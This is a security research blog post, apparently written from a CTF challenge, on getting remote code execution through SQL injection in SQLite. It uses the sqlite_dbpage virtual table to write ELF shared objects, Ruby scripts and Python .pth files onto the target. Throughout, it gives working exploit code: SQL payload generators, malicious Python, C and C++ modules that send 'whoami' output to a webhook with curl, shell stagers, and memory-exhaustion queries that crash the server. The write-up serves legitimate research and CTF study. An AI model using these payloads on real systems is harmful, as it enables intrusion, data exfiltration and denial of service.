

No Extensions? You Forgot One: Writing Shared Objects to RCE via SQLite's dbpage

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Content

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No Extensions? You Forgot One: Writing Shared Objects to RCE via SQLite's dbpage

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Abstract

Achieving arbitrary code execution through SQLite is notoriously difficult, particularly in default configurations where external extension loading is disabled. Historically, attackers have relied on `ATTACH DATABASE` to achieve a dirty arbitrary file write, targeting parsers such as PHP or cronjobs, that tolerate SQLite's mandatory header and magic bytes. However, when dealing with strict runtimes like Python, Ruby, or Node.js, this primitive falls short.

In this post, I introduce a novel technique to finally break free from SQLite's magic bytes and almost the entirety of its database header. By exploiting the `sqlite_dbpage` virtual table, a built-in extension often enabled by default, we can gain low-level write access to the database pages. Combined with relocating the ELF Program Header Table to work around the few remaining immutable offsets, I demonstrate how to craft and write Shared Object (`.so`) files just via SQL queries.

Finally, I detail methods to crash the target process, forcing a restart that loads our shadowed module, which successfully achieves Remote Code Execution.

Introduction

To really make sense of the exploitation that follows, we first need to look at how SQLite databases are structured and how its [file format](#) works.

A SQLite database file is divided into pages of equal size (usually 4096 bytes). The first 100 bytes of the file, which are located in page 1, contain the global database header, which stores configuration flags and metadata:

[\[image: Database Header\]](#)

This header is the exact reason why we can't simply write arbitrary files. These bytes are automatically generated when creating a new database, and several fields are updated whenever a write transaction is committed.

The `sqlite_dbpage` virtual table

After digging through SQLite's documentation, I came across ["The SQLITE_DBPAGE Virtual Table"](#).

The `sqlite_dbpage` extension is a virtual table that provides direct and low-level read and write access to the raw binary pages of a database file:

```
-- table schema:
sqlite_dbpage(pgno INTEGER, data BLOB, schema HIDDEN)
```

Because it interfaces with SQLite's internal pager, it allows you to read the exact raw bytes of any page via `SELECT`, or overwrite them using `UPDATE`:

```
-- this reads raw binary payload of the first page
SELECT data FROM sqlite_dbpage WHERE pgno = 1;

-- this overwrites a specific page in an attached database
ATTACH DATABASE '69.db' AS t;
UPDATE sqlite_dbpage SET data = X'...' WHERE pgno = 2 AND schema = 't';
-- if schema is not specified, it defaults to the main database
```

This makes it possible to overwrite the bytes that SQLite itself sets!

Seems amazing, right? Well it is, but there are some limitations:

- `ATTACH DATABASE` requires that the target file either does not exist, or is already a valid SQLite database, which means we can't overwrite existing files.
- We still don't have 100% control over all the bytes we write, which I will explain next.

Testing the dirtiness

The method I used to check if we had control over all the bytes of the file was to overwrite all the bytes with a sentinel byte that was not present (`0x11`), so no false positives would appear.

Since the default page size is 4096 bytes and a minimal SQLite database is 2 pages long, I created another page to simulate the payload that we will write later:

```
ATTACH DATABASE 'fill.db' AS t;

CREATE TABLE IF NOT EXISTS t.pad(x);

INSERT INTO t.pad VALUES (zeroblob(4096)); -- zeroblob writes a blob of 4096 null bytes,
creating a new page
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=3 AND schema='t'; -- 0x11 is repeated
4096 times for each page
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=2 AND schema='t';
UPDATE sqlite_dbpage SET data=X'1111...' WHERE pgno=1 AND schema='t';
```

I did a descending write, starting from the last page to the first one, because if you overwrite the first page first, you instantly corrupt the database header and SQLite will refuse any further writes.

After executing the query above, I compared the bytes before and after, and these are the only bytes that SQLite doesn't let us overwrite:

Offset	Final Byte(s)	Observed Behavior	Database Header Field
24-26	00 00 00	Invariant between commits	File change counter (high 24 bits)
27	05	Changes on every commit	File change counter (low 8 bits)
92-94	00 00 00	Invariant between commits	Version-valid-for (high 24 bits)
95	05	Follows counter; matches offset 27	Version-valid-for (low 8 bits)
96-99	00 2e 95 cc	Invariant	SQLite version number

(*) Notice that 24-27 and 92-95 are just 4 byte big endian integers, so every time we perform an UPDATE on the database, SQLite increments these fields by 1; we **theoretically** have control over these by repeating UPDATE statements until the counter reaches our desired value. Getting rid of the null bytes though would require an impractical amount of updates.

Weaponizing the primitive

Most of this research was actually done in a Python environment, specifically a Flask webapp:

```
# ...
import config
#...
@app.route('/exec', methods=['POST'])
def exec_sql():
    sql = request.data.decode('utf-8')
    try:
        with get_db() as conn:
            conn.executescript(sql)
        return jsonify({"success": True}), 200
    except Exception:
        return jsonify({"success": False}), 400
#...
```

This was containerized with Docker, python 3.14-slim, and served with Gunicorn (remember this detail).

My goal was to gain RCE. The obvious first step was to try writing a `config.py` file in the same directory as the webapp in order to overwrite the `config` module and get code execution when the webapp imports it, but this is not possible because the file already exists.

Also, I realized that I couldn't write a valid Python file because of the null bytes in the SQLite header, which throw a `SyntaxError`.

Thankfully, I recently read this amazing research post, without which I would have never been able to achieve this: [Python Dirty Arbitrary File Write to RCE](#) by siunam.

This post gave me two paths: writing a `.pyc` or a `.so` file. I chose the latter because it is a more robust solution. Shared objects take precedence over standard Python files during module resolution and are far more versatile, allowing the same technique to be adapted for other language runtimes.

In order to write a valid shared object python module, the easiest way is to use [cythonize](#). What I'm trying to override is the `config` module, which is structured like this:

```
# config.py
DEBUG = False
HOST = '0.0.0.0'
PORT = 5000
DB_FILE = 'database.db'
```

What we need to do is simply recreate the file and add this at the top:

```
import os
os.system("curl -X POST -d `whoami` <WEBHOOK_URL>")
# rest of config.py
```

Then, you can run `cythonize -i config.py` to generate the `config.so` file. You must match the version of Python used by the target environment, otherwise the module will fail to load. Below are the commands and the Dockerfile to build a `config.so` file for Python 3.14 (version can easily be changed):

```
FROM python:3.14-slim
WORKDIR /build
RUN apt-get update && \
    apt-get install -y --no-install-recommends gcc libc6-dev && \
    rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir Cython setuptools
COPY config.py .
RUN cythonize -i config.py
```

```
docker build -f Dockerfile.python -t cython-builder .
docker run --rm -v "$(pwd)":/out cython-builder sh -c "cp /build/config*.so
/out/config.so"
```

Now by simply importing the `config` module in a shell, we can see that the code executes: [\[image: python shell screenshot\]](#) [\[image: requestrepo screenshot\]](#)

Writing the module with SQLite

Intuitively, all it takes is splitting the bytes of the `config.so` file into chunks and writing them with the technique explained before, right? Not exactly.

We still have a *dirty* arbitrary write. The first 100 bytes of Page 1 will always contain SQLite's immutable header values and commit counters.

In a standard ELF shared object, this area overlaps with the **ELF Header** and the **Program Header Table (PHDR)**, which tell the Linux dynamic linker how to load the binary into memory. Corrupting these structures causes the dynamic linker to make things go boom.

[\[image: ELF and SQLite header overlap problem\]](#)

As I'm not a pwner and I'm not a revver, I had to look for an easy solution to this problem.

By default, compilers place the Program Header Table right after the initial ELF header.

However, the ELF specification allows the Program Header Table to live anywhere in the file as long as the main header's offset pointer (`e_phoff`) points to it. We can easily fix this using the [LIEF](#) library to push the table all the way to the end of the binary:

```
import lief

def relocate_program_header_table():
    binary = lief.ELF.parse(str(RAW_S0_PATH))
    if binary is None:
        raise RuntimeError("LIEF could not parse the raw shared object")

    binary.relocate_phdr_table(lief.ELF.Binary.PHDR_RELOC.FILE_END)
    binary.write(str(FINAL_S0_PATH))
```

[image: Program Header Table relocation before and after]

Crafting the queries

Once the ELF binary is patched, we just need an automated way to generate our SQL script.

The script has to perform three operations:

- Pre-allocate space by inserting a large zeroblob into a table to ensure SQLite allocates enough pages on disk.
- Chunk the binary and pad the ELF file with null bytes to align with the page size.
- Write the updates in reverse order using `sqlite_dbpage` statements, starting with the last page and working toward the first.

```

import math

PAGE_SIZE = 4096

def build_sql(payload, target_path):
    pages = math.ceil(len(payload) / PAGE_SIZE)
    padded = payload.ljust(pages * PAGE_SIZE, b"\x00")
    reserve_blob = pages * PAGE_SIZE

    lines = [
        f"ATTACH DATABASE '{target_path}' AS t;",
        "CREATE TABLE IF NOT EXISTS t.pad(x);",
        f"INSERT INTO t.pad VALUES(zeroblob({reserve_blob}));",
    ]

    for pgno in range(pages, 0, -1):
        chunk = padded[(pgno - 1) * PAGE_SIZE : pgno * PAGE_SIZE]
        lines.append(
            f"UPDATE sqlite_dbpage SET data=X'{chunk.hex()}' WHERE pgno={pgno} AND"
            f"schema='t';"
        )

    return "\n".join(lines), pages

```

Alternative: single-page write

If your shared object is under 64 KB, by setting `PRAGMA page_size` to SQLite's maximum limit of **65536 bytes** on the attached database before creating any tables, SQLite will fit everything into a single page. This allows you to write the whole binary in just one single `UPDATE` :

```

def build_sql(payload, target_path):
    page_size = 65536
    page = payload.ljust(page_size, b"\x00")

    return "\n".join([
        f"ATTACH DATABASE '{target_path}' AS t;",
        f"PRAGMA t.page_size = {page_size};",
        "CREATE TABLE IF NOT EXISTS t.z(x);",
        f"UPDATE sqlite_dbpage SET data=X'{page.hex()}' WHERE schema='t' AND pgno=1;",
    ])

```

I personally didn't think of this approach at first, but it was used by a team (GiG) to solve the challenge that I wrote for Mntcr1CTF about this technique. I have not tested

whether this method works across all SQLite versions, so I decided to stick with the first approach.

Triggering module loading

After generating the SQL script, we can send it to the webapp and write our shared object in the same directory as `app.py`. But how do we trigger its execution? Well, the answer depends heavily on the environment, but I found a few solutions that work in many cases.

Our goal is to make the app load our module instead of the original one. Having already placed the file, all we need is a restart. The only way to achieve this is to make the app **crash**.

Gunicorn timeout

Gunicorn is a Python WSGI HTTP server that is widely used to serve Python web applications. It's arguably the most popular choice, especially with Flask and Django.

By design, Gunicorn has a **timeout** feature that kills workers that take too long to respond and the default value is 30 seconds.

[\[image: gunicorn docs\]](#)

We can leverage this feature to crash the app and force it to restart, forcing the newly spawned worker to reload our custom `config.so` module.

```
def hold_nc(seconds=31):
    proc = subprocess.Popen(["nc", HOST, str(PORT)])
    time.sleep(seconds)
    proc.kill()
```

Memory exhaustion

This one is more generic and works in many cases, since it leverages the fact that we can execute arbitrary SQLite queries. The idea is to create something that will exhaust the memory of the process and make it crash and therefore restart if it's managed by some process manager, such as pm2 or even docker itself.

Every serious production Docker deployment has some kind of memory limit, for example:

```

services:
  challenge:
    build: .
    restart: unless-stopped
    environment:
      FLAG: mntcrl{fake_flag_for_testing}
    ports:
      - 5009:5000
    deploy:
      resources:
        limits:
          memory: 512M # memory.max = 512 MiB & memory.swap.max = 512 MiB

```

This simple query will allocate enough memory to crash the process in the case of the previous container:

```

PRAGMA temp_store=MEMORY;

CREATE TEMP TABLE crash AS
WITH RECURSIVE c(x) AS (
  SELECT 1
  UNION ALL
  SELECT x + 1 FROM c WHERE x < 1200
)
SELECT x, zeroblob(1048576) AS data FROM c;
-- 1 MiB * 1200 = 1.2 GiB > 1 GiB (512 MiB + 512 MiB) ==> OOM

```

This works because:

- PRAGMA temp_store=MEMORY forces the TEMP TABLE into the SQLite heap instead of a temporary file.
- Memory usage exceeds RAM + swap, so the kernel kills the process.
- Docker, or any process manager, restarts the process and our module is loaded.

Remember to adjust the number of recursive iterations based on the memory limit (if you don't know it, rely on trial and error) and be sure to change the temporary table name if you are reusing the same database session.

Using both of these methods, we can crash the app and make it restart, which will get our shared object loaded and executed, finally giving us Remote Code Execution!

Expanding to Ruby

Since Ruby is another popular interpreted language, I decided to test whether I could achieve the same results. I set up a testbed using Sinatra with Puma as the application server, which runs a multiple worker model and it's similar to Unicorn.

Puma has `preload_app` enabled by default when multiple workers are used, we can't just shadow a module used by the app, since it's preloaded; looking at its source code though, I found that they `import nio4r` module when restarting a worker, which is a dependency of Puma itself; this will be our target.

Ruby C extensions

Ruby can also load custom C extensions as `.so` files. When requiring a module, Ruby executes an initialization entrypoint named `Init_<module>()`.

Just like we did in Python, we can compile a small C extension and relocate its Program Header Table to the end of the binary using LIEF. Ruby's module resolution algorithm can be represented (oversimplified) as follows:

[\[image: Ruby Module Resolution\]](#)

So it's impossible to shadow a `.rb` file, but we can shadow a `.so` file by placing our own in a directory that is earlier in `$LOAD_PATH` than the original one.

I was very lucky because `nio4r` imports a C extension named `nio4r_ext.so`, so we can shadow that one!

```
#include <ruby.h>
#include <stdio.h>

void Init_nio4r_ext(void) {
    system("curl -X POST -d `whoami` <WEBHOOK_URL>");
    rb_require("/usr/local/bundle/extensions/x86_64-linux/4.0.0/nio4r-2.7.5/nio4r_ext.so"); //loads the real extension
}
```

Then write the relocated shared object via `sqlite_dbpage` in `$LOAD_PATH.first` (mine was `/usr/local/bundle/gems/sqlite3-2.9.6-x86_64-linux-gnu/lib/`) via `sqlite_dbpage`.

The `__END__` marker trick

Before concluding the Ruby chapter, I wondered whether Ruby had a built-in way to ignore arbitrary bytes.

Thanks to [this post](#), it turns out Ruby has a special token called `__END__` that stops parsing code after it, treating everything that follows as a global variable called `DATA`.

Because SQLite's first immutable byte (NUL) is at offset 24 and considering 9 bytes are taken by `\n__END__\n`, we have 15 bytes left to write our payload, which is enough to execute a shell command.

```
eval`sh /tmp/x`  
__END__  
<dirty bytes>
```

Remember to count also newlines and spaces.

We can write `/tmp/x` using SQLite as well, hiding the dirty header by skipping the first three lines:

```
tail -n+4 $0|sh  
exit #  
<dirty bytes>  
curl -X POST -d `whoami` <WEBHOOK_URL>  
rm -f /usr/local/bundle/gems/sqlite3-2.9.6-x86_64-linux-gnu/lib/nio.rb #prevents loop  
printf '%s\n' 'require "nio4r"' #this will be executed by eval, requiring the real module
```

Puma worker restart

In theory, Puma has a worker timeout, default to 60 seconds, but I couldn't make it work, even with CPU intensive queries, because the heartbeat thread was always able to respond in time. So I had to rely on memory exhaustion to crash the worker.

The worker handling the request gets terminated and the Puma master process then spawns a replacement worker, which executes `require "nio"`, loads our shadowed file, and triggers the payload.

Maybe Node.js?

Node has the [N-API](#) for writing native addons, which are compiled into `.node` files (ELF shared object libraries with a different extension).

The first thing to note is that native addons cannot be directly imported via ES modules (ESM); the target application must rely on CommonJS. The module resolution algorithm is documented [here](#).

Looking specifically at how it loads a module:

- Node.js always attempts `LOAD_AS_FILE` before falling back to `LOAD_AS_DIRECTORY`.
- For `require('express')`, since packages are installed as directories (`/app/node_modules/express/`), writing `/app/node_modules/express.node` overrides the real module before the directory is evaluated.

Building a Node.js native addon

I decided to override the `express` module, but I had to do it without breaking imports. All it takes is exporting the same symbols as the original module, while embedding our code to be executed upon loading.

```

#include <node_api.h>
#include <cstdlib>

NAPI_MODULE_INIT() {
    //executes our code
    std::system("curl -X POST -d `whoami` <WEBHOOK_URL>");
    napi_value source;
    if (napi_create_string_utf8(
        env,
        "process.getBuiltinModule('module')._load(process.cwd() +
'/node_modules/express/index.js')",
        NAPI_AUTO_LENGTH,
        &source) != napi_ok) {
        return nullptr;
    }
    napi_value express;
    if (napi_run_script(env, source, &express) != napi_ok) {
        return nullptr;
    }
    //return the real express module
    return express;
}

```

and then compile it with:

```

NODE_INCLUDE=$(node -e "console.log(path.join(path.dirname(process.execPath),
'../include/node'))")
g++ -shared -fPIC -I"$NODE_INCLUDE" express.cpp -o express.node

```

The shattered dream

Unfortunately, there isn't a standard Node.js Docker image where mainstream SQLite libraries have `sqlite_dbpage` enabled by default. The official SQLite WASM build includes it, but it doesn't work with CommonJS and can't write files to disk. The only way to make it work in Node.js is linking a custom SQLite build with the flag enabled, which is extremely uncommon.

Anyways, if you somewhat manage to write a `.node` file, the only reliable way I found is again memory exhaustion, some kind of process manager is required to restart the process, like pm2 or Docker with restart enabled.

Bonus: Python .pth files

Python uses `.pth` (path configuration) files inside site-packages to append additional directories to `sys.path`. However, CPython's `site.py` does something interesting: any line beginning with `import` is evaluated dynamically via `exec()`.

Note that executing arbitrary code in `.pth` files has been deprecated in Python in favor of `.start` files, but it still works at least up to Python 3.13.

The way they get parsed is the following:

```
# site.py
for n, line in enumerate(pth_content.splitlines(), 1):
    if line.startswith("#"):
        continue
    if line.strip() == "":
        continue
    try:
        if line.startswith(("import ", "import\t")):
            exec(line)
            continue
```

So if a line starts with `#`, it will be ignored, but if it starts with `import`, it will be executed. That's a perfect match for us, since in this way our null bytes will never be parsed by Python.

```
PAGE_SIZE = 4096
SQLITE_HEADER_SIZE = 100

payload = b"import os;os.system('cat /flag*.txt > /app/templates/index.html')\n"

page1 = (b"#" * SQLITE_HEADER_SIZE + b"\n" + payload).ljust(PAGE_SIZE, b"\n")
page_newlines = b"\n" * PAGE_SIZE

sql = f"""
ATTACH DATABASE '/usr/local/lib/python3.11/site-packages/pwn.pth' AS t;
CREATE TABLE IF NOT EXISTS t.x(c);
UPDATE sqlite_dbpage SET data=X'{page_newlines.hex()}' WHERE pgno=2 AND schema='t';
UPDATE sqlite_dbpage SET data=X'{page1.hex()}' WHERE pgno=1 AND schema='t';
"""

print(sql)
```

The only way to trigger the execution of this code is running the Python interpreter, so whatever program runs the `python` command will trigger the execution of our code.

Limits and considerations

To summarize what has been discussed so far and taking into account what I have observed during my research, here are the main limitations and considerations to keep in mind:

- The `sqlite_dbpage` extension is not always enabled; it requires `ENABLE_DBPAGE_VTAB` at compile time. Fortunately, this is already the case for most docker images based on Debian.
- `SQLITE_DBCONFIG_DEFENSIVE` must be disabled at runtime.
- Based on my research, this technique only works with interpreted languages or dynamic runtimes; you can't make it work with compiled languages.
- Having an SQLite injection sink that allows stacked queries (`exec` or `executescript`) is required to run the payload.

Image Tag	sqlite_dbpage enabled?	python:latest	python:slim	python:*-trixie / python:*-slim-trixie	python:*-bookworm / python:*-slim-bookworm	python:alpine	ruby:*	node:*
		Yes	Yes	Yes	No	No	Yes	No

Ruby works on every image because its standard `sqlite3` gem compiles SQLite with `ENABLE_DBPAGE_VTAB` turned on, regardless of the OS base image. In Python, availability is tied to the system SQLite library bundled in the distribution.

Conclusion

SQLite has always been considered relatively harmless when `load_extension` is turned off. However, it's fascinating to me how just casually reading the docs sparked this idea. From now on, I know you won't be able to look at SQLite the same way again.

This research took weeks of work and testing across different runtimes. It all started with **SQLite As A Service**, a challenge I authored for Mntcr!CTF 2026 back in June, which ended with only two solves. Later in July, I presented a preliminary version of this technique in a talk at the CyberChallenge.IT 2026 Workshop in Salerno, Italy ([recording](#)).

I hope this post will be useful to other researchers and ctf players looking into dirty arbitrary write. Thank you very much if you read this far, and I hope you enjoyed it as much as I did writing it.

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